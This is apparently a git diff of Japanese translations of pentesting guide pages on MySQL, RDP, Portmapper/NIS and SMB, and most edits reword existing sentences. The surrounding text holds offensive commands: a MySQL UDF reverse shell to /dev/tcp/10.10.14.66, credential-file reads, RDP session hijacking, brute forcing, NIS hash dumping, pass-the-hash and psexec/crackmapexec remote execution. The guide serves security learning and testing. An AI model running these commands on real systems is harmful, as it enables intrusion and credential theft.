||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**初期PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**この論文では、攻撃の完全な説明とそれをRCEに拡張する方法を見ることができます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
@ -133,7 +133,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
## POST
|
||||
|
||||
### Mysqlユーザー
|
||||
### Mysql ユーザー
|
||||
|
||||
mysqlが**root**として実行されている場合は非常に興味深いです:
|
||||
```bash
|
||||
@ -147,7 +147,7 @@ MySQLサービスの設定では、その操作とセキュリティ対策を定
|
||||
- **`user`** 設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。
|
||||
- **`password`** は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。
|
||||
- **`admin_address`** は、管理ネットワークインターフェースでTCP/IP接続をリッスンするIPアドレスを指定します。
|
||||
- **`debug`** 変数は、ログ内の機密情報を含む現在のデバッグ設定を示します。
|
||||
- **`debug`** 変数は、現在のデバッグ設定を示し、ログ内に機密情報を含むことがあります。
|
||||
- **`sql_warnings`** は、警告が発生したときに単一行INSERT文のために情報文字列が生成されるかどうかを管理し、ログ内に機密データを含むことがあります。
|
||||
- **`secure_file_priv`** により、データのインポートおよびエクスポート操作の範囲が制限され、セキュリティが強化されます。
|
||||
|
||||
@ -202,7 +202,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
||||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||||
```
|
||||
#### ウィンドウズ
|
||||
#### Windows
|
||||
```sql
|
||||
# CHech the linux comments for more indications
|
||||
USE mysql;
|
||||
@ -220,9 +220,9 @@ _/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint** の **平
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
これらの認証情報を使用して、mysqlデータベースにログインできます。
|
||||
これらの資格情報を使用して**MySQLデータベースにログインできます**。
|
||||
|
||||
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**(データベース内のmysql.userから抽出できるもの)が見つかります。
|
||||
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**(データベース内のmysql.userから抽出できるもの)が見つかります_。
|
||||
|
||||
これらを抽出するには、次のようにします:
|
||||
```bash
|
||||
|
@ -32,7 +32,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||
# hydra
|
||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||
```
|
||||
### 知られている資格情報/ハッシュで接続する
|
||||
### 知っている資格情報/ハッシュで接続する
|
||||
```bash
|
||||
rdesktop -u <username> <IP>
|
||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||
@ -59,11 +59,11 @@ query user
|
||||
```bash
|
||||
tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
今、選択したRDPセッション内にいることになり、Windowsのツールと機能のみを使用してユーザーをなりすますことができます。
|
||||
今、選択したRDPセッション内にいることになり、Windowsのツールと機能のみを使用してユーザーを偽装することになります。
|
||||
|
||||
**重要**: アクティブなRDPセッションにアクセスすると、そのセッションを使用していたユーザーが切断されます。
|
||||
|
||||
プロセスをダンプしてパスワードを取得することもできますが、この方法ははるかに速く、ユーザーの仮想デスクトップと対話することができます(ディスクに保存されていないメモ帳のパスワード、他のマシンで開かれた他のRDPセッション...)。
|
||||
プロセスをダンプしてパスワードを取得することもできますが、この方法ははるかに速く、ユーザーの仮想デスクトップと対話することができます(ディスクに保存されていないノートパッドのパスワード、他のマシンで開かれた他のRDPセッション...)。
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
@ -80,7 +80,7 @@ ts::remote /id:2 #Connect to the session
|
||||
|
||||
### RDPプロセスインジェクション
|
||||
|
||||
異なるドメインの誰かが**より良い権限でRDP経由でログイン**してきた場合、**あなたが管理者である**PCに対して、彼の**RDPセッションプロセス**にビークンを**インジェクト**し、彼のように行動することができます:
|
||||
異なるドメインの誰かが**より高い権限でRDP経由**で**あなたが管理者であるPC**にログインした場合、彼の**RDPセッションプロセス**にあなたのビーコンを**インジェクト**して、彼のように行動できます。
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
|
||||
@ -94,7 +94,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
|
||||
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイトフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)は、リモート攻撃者が**被害者のデスクトップを同意なしに表示し**、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用します。
|
||||
**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイテーションフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)は、リモート攻撃者が**被害者のデスクトップを同意なしに表示し**、さらには要求に応じて制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用します。
|
||||
|
||||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
- コマンドラインから自動的にマウスとキーボードを制御
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Portmapper** は、ネットワークサービスポートを **RPC** (Remote Procedure Call) プログラム番号にマッピングするために利用されるサービスです。これは **Unixベースのシステム** において重要なコンポーネントとして機能し、これらのシステム間での情報交換を促進します。**Portmapper** に関連付けられた **ポート** は、攻撃者によって頻繁にスキャンされ、貴重な情報を明らかにする可能性があります。この情報には、実行中の **Unixオペレーティングシステム (OS)** の種類や、システム上で利用可能なサービスの詳細が含まれます。さらに、**Portmapper** は、ネットワークサービスを効果的に管理するために **NFS (Network File System)**、**NIS (Network Information Service)**、および他の **RPCベースのサービス** と共に一般的に使用されます。
|
||||
**Portmapper** は、ネットワークサービスポートを **RPC** (Remote Procedure Call) プログラム番号にマッピングするために利用されるサービスです。これは **Unixベースのシステム** において重要なコンポーネントとして機能し、これらのシステム間での情報交換を促進します。**Portmapper** に関連付けられた **ポート** は、攻撃者によって頻繁にスキャンされ、貴重な情報を明らかにする可能性があります。この情報には、実行中の **Unixオペレーティングシステム (OS)** の種類や、システム上で利用可能なサービスの詳細が含まれます。さらに、**Portmapper** は、ネットワークサービスを効果的に管理するために **NFS (Network File System)**、**NIS (Network Information Service)**、およびその他の **RPCベースのサービス** と共に一般的に使用されます。
|
||||
|
||||
**デフォルトポート:** 111/TCP/UDP, 32771 in Oracle Solaris
|
||||
**デフォルトポート:** 111/TCP/UDP, Oracle Solaris では 32771
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
@ -16,7 +16,7 @@ PORT STATE SERVICE
|
||||
rpcinfo irked.htb
|
||||
nmap -sSUC -p111 192.168.10.1
|
||||
```
|
||||
時には何の情報も得られないことがありますが、他の時には次のような情報が得られます:
|
||||
時には何の情報も得られないことがありますが、他の場面では次のような情報が得られます:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -26,19 +26,19 @@ nmap -sSUC -p111 192.168.10.1
|
||||
|
||||
## RPCBind + NFS
|
||||
|
||||
NFSサービスが見つかった場合、ファイルをリストし、ダウンロード(場合によってはアップロード)できる可能性があります:
|
||||
サービスNFSが見つかれば、ファイルをリストし、ダウンロード(そして場合によってはアップロード)できる可能性があります:
|
||||
|
||||
.png>)
|
||||
|
||||
このプロトコルをテストする方法については、[2049 - Pentesting NFS service](nfs-service-pentesting.md)を読んで詳しく学んでください。
|
||||
このプロトコルのテスト方法について詳しくは[ 2049 - Pentesting NFS service](nfs-service-pentesting.md)をお読みください。
|
||||
|
||||
## NIS
|
||||
|
||||
**NIS**の脆弱性を探るには、`ypbind`サービスの特定から始まる二段階のプロセスが必要です。この探索の基盤は、**NISドメイン名**を明らかにすることであり、これがなければ進展はありません。
|
||||
**NIS**の脆弱性を探るには、`ypbind`サービスの特定から始まる二段階のプロセスが必要です。この探索の基盤は**NISドメイン名**を明らかにすることであり、これがなければ進展はありません。
|
||||
|
||||
.png>)
|
||||
|
||||
探索の旅は、必要なパッケージのインストール(`apt-get install nis`)から始まります。次のステップでは、`ypwhich`を使用して、ドメイン名とサーバーIPでpingを送り、NISサーバーの存在を確認します。これらの要素はセキュリティのために匿名化されることを確認してください。
|
||||
探索の旅は、必要なパッケージのインストール(`apt-get install nis`)から始まります。次のステップでは、`ypwhich`を使用して、ドメイン名とサーバーIPでpingを送り、NISサーバーの存在を確認します。これらの要素はセキュリティのために匿名化される必要があります。
|
||||
|
||||
最後の重要なステップは、`ypcat`コマンドを使用して、特に暗号化されたユーザーパスワードなどの機密データを抽出することです。これらのハッシュは、**John the Ripper**のようなツールを使用して解読されると、システムアクセスや権限に関する洞察を明らかにします。
|
||||
```bash
|
||||
@ -53,7 +53,7 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
|
||||
| **マスターファイル** | **マップ** | **ノート** |
|
||||
| ---------------- | --------------------------- | --------------------------------- |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | ホスト名とIPの詳細を含む |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | ホスト名とIPの詳細を含む |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | NISユーザーパスワードファイル |
|
||||
| /etc/group | group.byname, group.bygid | NISグループファイル |
|
||||
| /usr/lib/aliases | mail.aliases | メールエイリアスの詳細 |
|
||||
@ -64,11 +64,11 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
|
||||
.png>)
|
||||
|
||||
ボックスのユーザーを列挙できます。方法を学ぶには[1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)を参照してください。
|
||||
ボックスのユーザーを列挙することができます。方法を学ぶには[1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)を参照してください。
|
||||
|
||||
## フィルタリングされたポートマッパーポートのバイパス
|
||||
|
||||
**nmapスキャン**を実施し、ポート111がフィルタリングされているオープンNFSポートを発見した場合、これらのポートを直接悪用することは不可能です。しかし、**ローカルでポートマッパーサービスをシミュレートし、あなたのマシンからターゲットへのトンネルを作成することにより**、標準ツールを使用して悪用が可能になります。この技術により、ポート111のフィルタリング状態をバイパスし、NFSサービスへのアクセスが可能になります。この方法の詳細なガイダンスについては、[このリンク](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)にある記事を参照してください。
|
||||
**nmapスキャン**を実施し、ポート111がフィルタリングされているオープンNFSポートを発見した場合、これらのポートの直接的な悪用は実行可能ではありません。しかし、**ローカルでポートマッパーサービスをシミュレートし、あなたのマシンからターゲットへのトンネルを作成することにより**、標準ツールを使用して悪用が可能になります。この技術により、ポート111のフィルタリング状態をバイパスし、NFSサービスへのアクセスが可能になります。この方法に関する詳細なガイダンスは、[このリンク](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)にある記事を参照してください。
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -10,7 +10,7 @@ _**ネットワーク基本入出力システム**_** (NetBIOS)** は、アプ
|
||||
```
|
||||
## Port 445
|
||||
|
||||
技術的には、ポート139は「NBT over IP」と呼ばれ、ポート445は「SMB over IP」と識別されます。略語**SMB**は「**Server Message Blocks**」の略で、現代では**Common Internet File System (CIFS)**としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFSは主にファイル、プリンター、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間のさまざまな通信形態を促進するために利用されます。
|
||||
技術的には、ポート139は「NBT over IP」と呼ばれ、ポート445は「SMB over IP」として識別されます。略語**SMB**は「**Server Message Blocks**」の略で、現代では**Common Internet File System (CIFS)**としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFSは主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間のさまざまな通信形態を促進するために利用されます。
|
||||
|
||||
例えば、Windowsの文脈では、SMBはTCP/IP上で直接動作できることが強調されており、ポート445を利用することでTCP/IP上のNetBIOSの必要性が排除されます。逆に、異なるシステムではポート139の使用が観察され、SMBがTCP/IP上のNetBIOSと共に実行されていることを示しています。
|
||||
```
|
||||
@ -18,7 +18,7 @@ _**ネットワーク基本入出力システム**_** (NetBIOS)** は、アプ
|
||||
```
|
||||
### SMB
|
||||
|
||||
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバー**モデルで動作し、**ファイル**、ディレクトリ、およびプリンタやルータなどの他のネットワークリソースへの**アクセス**を制御するために設計されています。主に**Windows**オペレーティングシステムシリーズ内で利用されるSMBは、後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを実行しているデバイスが古いバージョンを実行しているデバイスとシームレスに相互作用できるようにします。さらに、**Samba**プロジェクトは、SMBを**Linux**およびUnixシステムで実装するための無料ソフトウェアソリューションを提供し、SMBを通じたクロスプラットフォーム通信を促進します。
|
||||
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバー**モデルで動作し、**ファイル**、ディレクトリ、およびプリンタやルータなどの他のネットワークリソースへの**アクセス**を制御するために設計されています。主に**Windows**オペレーティングシステムシリーズ内で利用されるSMBは、後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを搭載したデバイスが古いバージョンを実行しているデバイスとシームレスに相互作用できるようにします。さらに、**Samba**プロジェクトは、SMBの実装を**Linux**およびUnixシステムで可能にする無料のソフトウェアソリューションを提供し、SMBを通じたクロスプラットフォーム通信を促進します。
|
||||
|
||||
**ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントに対してサーバーの実際の構造とは部分的に**独立した**階層を表示します。**アクセス制御リスト (ACL)**は、**アクセス権**を定義し、**`execute`**、**`read`**、および**`full access`**などの属性を含むユーザー権限に対する**細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーまたはグループに割り当てることができ、サーバー上のローカル権限とは異なります。
|
||||
|
||||
@ -32,7 +32,7 @@ IPC$共有へのアクセスは、匿名のヌルセッションを通じて取
|
||||
- 利用可能なSMB共有に関する情報
|
||||
- 有効なシステムセキュリティポリシー
|
||||
|
||||
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB(Server Message Block)サービスのセキュリティ姿勢を評価するために重要です。`enum4linux`は、ターゲットシステムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
|
||||
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB (Server Message Block)サービスのセキュリティ状況を評価するために重要です。`enum4linux`は、ターゲットシステムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **手動でWindows共有を列挙し、接続する**
|
||||
|
||||
ホストマシンの共有を表示することが制限されている可能性があり、リストを表示しようとすると接続できる共有がないように見えることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッション(例:ヌルセッションまたは有効な資格情報)を使用して、NT_STATUS_ACCESS_DENIEDやNT_STATUS_BAD_NETWORK_NAMEのような応答を探すと良いでしょう。これらは、共有が存在し、アクセスできないか、共有がまったく存在しないことを示す可能性があります。
|
||||
ホストマシンの共有を表示することが制限されている可能性があり、リストを表示しようとすると接続できる共有がないように見えることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッション(例:ヌルセッションまたは有効な資格情報)を使用しているときに、NT_STATUS_ACCESS_DENIEDやNT_STATUS_BAD_NETWORK_NAMEのような応答を探すと良いでしょう。これらは、共有が存在するがアクセスできないか、共有がまったく存在しないことを示す可能性があります。
|
||||
|
||||
Windowsターゲットの一般的な共有名は次のとおりです。
|
||||
|
||||
@ -239,7 +239,7 @@ done
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Windowsからの共有の列挙 / サードパーティツールなし**
|
||||
### **Windowsからの共有を列挙する / サードパーティツールなし**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
@ -265,7 +265,7 @@ fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (グラフィカル)、`\\<ip>\` を入力して、利用可能な非隠し共有を表示します。
|
||||
explorer.exe (グラフィカル)、`\\<ip>\`を入力して、利用可能な非隠し共有を表示します。
|
||||
|
||||
### 共有フォルダーをマウントする
|
||||
```bash
|
||||
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **ファイルのダウンロード**
|
||||
|
||||
資格情報/パス・ザ・ハッシュで接続する方法については、前のセクションを参照してください。
|
||||
資格情報/Pass-the-Hashで接続する方法については、前のセクションを参照してください。
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
特に興味深いのは、**`Registry.xml`** というファイルで、これは **autologon** を使用して構成されたユーザーの **パスワード** を含む可能性があります。また、**`web.config`** ファイルも **資格情報** を含んでいます。
|
||||
特に興味深いのは、**`Registry.xml`** というファイルで、これは **autologon** を使用して構成されたユーザーの **パスワード** を含む可能性があります。また、**`web.config`** ファイルも、認証情報を含んでいます。
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL シェア** は、ドメイン内のすべての認証されたユーザーによって **読み取り可能** です。そこには、多くの異なるバッチ、VBScript、および PowerShell **スクリプト** が存在するかもしれません。\
|
||||
> **SYSVOL share** は、ドメイン内のすべての認証ユーザーによって **読み取り可能** です。そこには、さまざまなバッチ、VBScript、および PowerShell **スクリプト** が **見つかる** かもしれません。\
|
||||
> その中の **スクリプト** を **確認** するべきで、**パスワード** などの機密情報を **見つける** 可能性があります。
|
||||
|
||||
## レジストリの読み取り
|
||||
|
||||
発見した資格情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます:
|
||||
発見した認証情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexecは、**wmiexec**が**デフォルト**の方法である**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用**してコマンドを実行できます。使用したいオプションを`--exec-method`パラメータで指定できます:
|
||||
crackmapexecは、**wmiexec**を**デフォルト**の方法として、**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用して**コマンドを実行できます。使用したいオプションを`--exec-method`パラメータで指定できます:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -388,7 +388,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
**パラメーター**`-k`を使用すると、**kerberos**に対して認証できます。代わりに**NTLM**を使用します。
|
||||
**パラメーター**`-k`を使用すると、**kerberos**に対して認証できます。
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
@ -409,8 +409,8 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
SMBを介してタスクスケジューラを使用してコマンドを実行します (_\pipe\atsvc_ を使用)。\
|
||||
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
|
||||
SMBを介してタスクスケジューラを使用してコマンドを実行します(_\pipe\atsvc_を使用)。\
|
||||
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **ポート 139**
|
||||
|
||||
_**ネットワーク基本入出力システム**_\*\* (NetBIOS)\*\* は、アプリケーション、PC、およびデスクトップがローカルエリアネットワーク (LAN) 内でネットワークハードウェアと相互作用し、**ネットワークを介したデータの送信を促進する**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、最大16文字の長さを持ち、コンピュータ名とは異なることが多いNetBIOS名を通じて行われます。2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーション(クライアントとして機能)が**TCPポート139**を利用して別のアプリケーション(サーバーとして機能)を「呼び出す」コマンドを発行することで開始されます。
|
||||
_**ネットワーク基本入出力システム**_\*\* (NetBIOS)\*\* は、アプリケーション、PC、およびデスクトップがローカルエリアネットワーク (LAN) 内でネットワークハードウェアと相互作用し、**ネットワークを介してデータの送信を促進する**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、最大16文字の長さを持ち、コンピュータ名とは異なることが多いNetBIOS名を通じて行われます。2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーション(クライアントとして機能)が**TCPポート139**を利用して別のアプリケーション(サーバーとして機能)を「呼び出す」コマンドを発行することで開始されます。
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -18,13 +18,13 @@ _**ネットワーク基本入出力システム**_\*\* (NetBIOS)\*\* は、ア
|
||||
```
|
||||
### SMB
|
||||
|
||||
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバ**モデルで動作し、**ファイル**、ディレクトリ、およびプリンタやルータなどの他のネットワークリソースへの**アクセス**を規制するために設計されています。主に**Windows**オペレーティングシステムシリーズ内で利用されるSMBは、後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを実行しているデバイスが古いバージョンを実行しているデバイスとシームレスに相互作用できるようにします。さらに、**Samba**プロジェクトは、SMBの実装を**Linux**およびUnixシステムで可能にする無料のソフトウェアソリューションを提供し、SMBを通じたクロスプラットフォーム通信を促進します。
|
||||
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバ**モデルで動作し、**ファイル**、ディレクトリ、およびプリンタやルータなどの他のネットワークリソースへの**アクセス**を規制するために設計されています。主に**Windows**オペレーティングシステムシリーズ内で利用され、SMBは後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを実行しているデバイスが古いバージョンを実行しているデバイスとシームレスに相互作用できるようにします。さらに、**Samba**プロジェクトは無料のソフトウェアソリューションを提供し、SMBを**Linux**およびUnixシステムで実装できるようにし、SMBを通じたクロスプラットフォーム通信を促進します。
|
||||
|
||||
**ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントに対してサーバーの実際の構造とは部分的に**独立した**階層を表示します。**アクセス制御リスト (ACL)**は、**アクセス権**を定義し、**`execute`**、**`read`**、および**`full access`**などの属性を含むユーザー権限に対する**細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーまたはグループに割り当てることができ、サーバー上のローカル権限とは異なります。
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
IPC$共有へのアクセスは、匿名のヌルセッションを通じて取得でき、名前付きパイプを介して公開されたサービスとの相互作用を可能にします。この目的には、ユーティリティ`enum4linux`が便利です。適切に利用することで、以下の情報を取得できます:
|
||||
IPC$共有へのアクセスは、匿名のヌルセッションを通じて取得でき、名前付きパイプを介して公開されたサービスと相互作用することができます。この目的には、ユーティリティ`enum4linux`が便利です。適切に利用すれば、次の情報を取得できます:
|
||||
|
||||
- オペレーティングシステムに関する情報
|
||||
- 親ドメインの詳細
|
||||
@ -32,7 +32,7 @@ IPC$共有へのアクセスは、匿名のヌルセッションを通じて取
|
||||
- 利用可能なSMB共有に関する情報
|
||||
- 有効なシステムセキュリティポリシー
|
||||
|
||||
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB(Server Message Block)サービスのセキュリティ姿勢を評価するために重要です。`enum4linux`は、ターゲットシステムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
|
||||
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB(Server Message Block)サービスのセキュリティ状況を評価するために重要です。`enum4linux`は、ターゲットシステムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
@ -84,8 +84,8 @@ searchsploit microsoft smb
|
||||
| **ユーザー名** | **一般的なパスワード** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(空白)_ | _(空白)_ |
|
||||
| ゲスト | _(空白)_ |
|
||||
| 管理者, admin | _(空白)_, password, administrator, admin |
|
||||
| guest | _(空白)_ |
|
||||
| Administrator, admin | _(空白)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
@ -265,16 +265,16 @@ fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (グラフィカル)、`\\<ip>\` を入力して、利用可能な非隠し共有を表示します。
|
||||
explorer.exe (グラフィカル), `\\<ip>\` を入力して、利用可能な非隠し共有を表示します。
|
||||
|
||||
### 共有フォルダーをマウントする
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **ファイルをダウンロード**
|
||||
### **ファイルのダウンロード**
|
||||
|
||||
前のセクションを読んで、資格情報/パス・ザ・ハッシュで接続する方法を学んでください。
|
||||
資格情報/Pass-the-Hashで接続する方法については、前のセクションを参照してください。
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -296,7 +296,7 @@ smbclient //<IP>/<share>
|
||||
- prompt: ファイル名のプロンプトをオフに切り替えます (デフォルト: オン)
|
||||
- mget: ホストからクライアントマシンにマスクに一致するすべてのファイルをコピーします
|
||||
|
||||
(_smbclientのmanページからの情報_)
|
||||
(_smbclientのマニュアルページからの情報_)
|
||||
|
||||
### ドメイン共有フォルダ検索
|
||||
|
||||
@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
特に興味深いのは、**`Registry.xml`** というファイルで、これは **autologon** を使用して構成されたユーザーの **パスワード** を含む可能性があります。また、**`web.config`** ファイルも、認証情報を含んでいます。
|
||||
特に興味深いのは、**`Registry.xml`** というファイルで、これは **autologon** を使用して構成されたユーザーの **パスワード** を含む可能性があります。また、**`web.config`** ファイルも **資格情報** を含んでいます。
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL share** は、ドメイン内のすべての認証ユーザーによって **読み取り可能** です。そこには、さまざまなバッチ、VBScript、および PowerShell **スクリプト** が **見つかる** かもしれません。\
|
||||
> その中の **スクリプト** を **確認** するべきで、**パスワード** などの機密情報を **見つける** 可能性があります。
|
||||
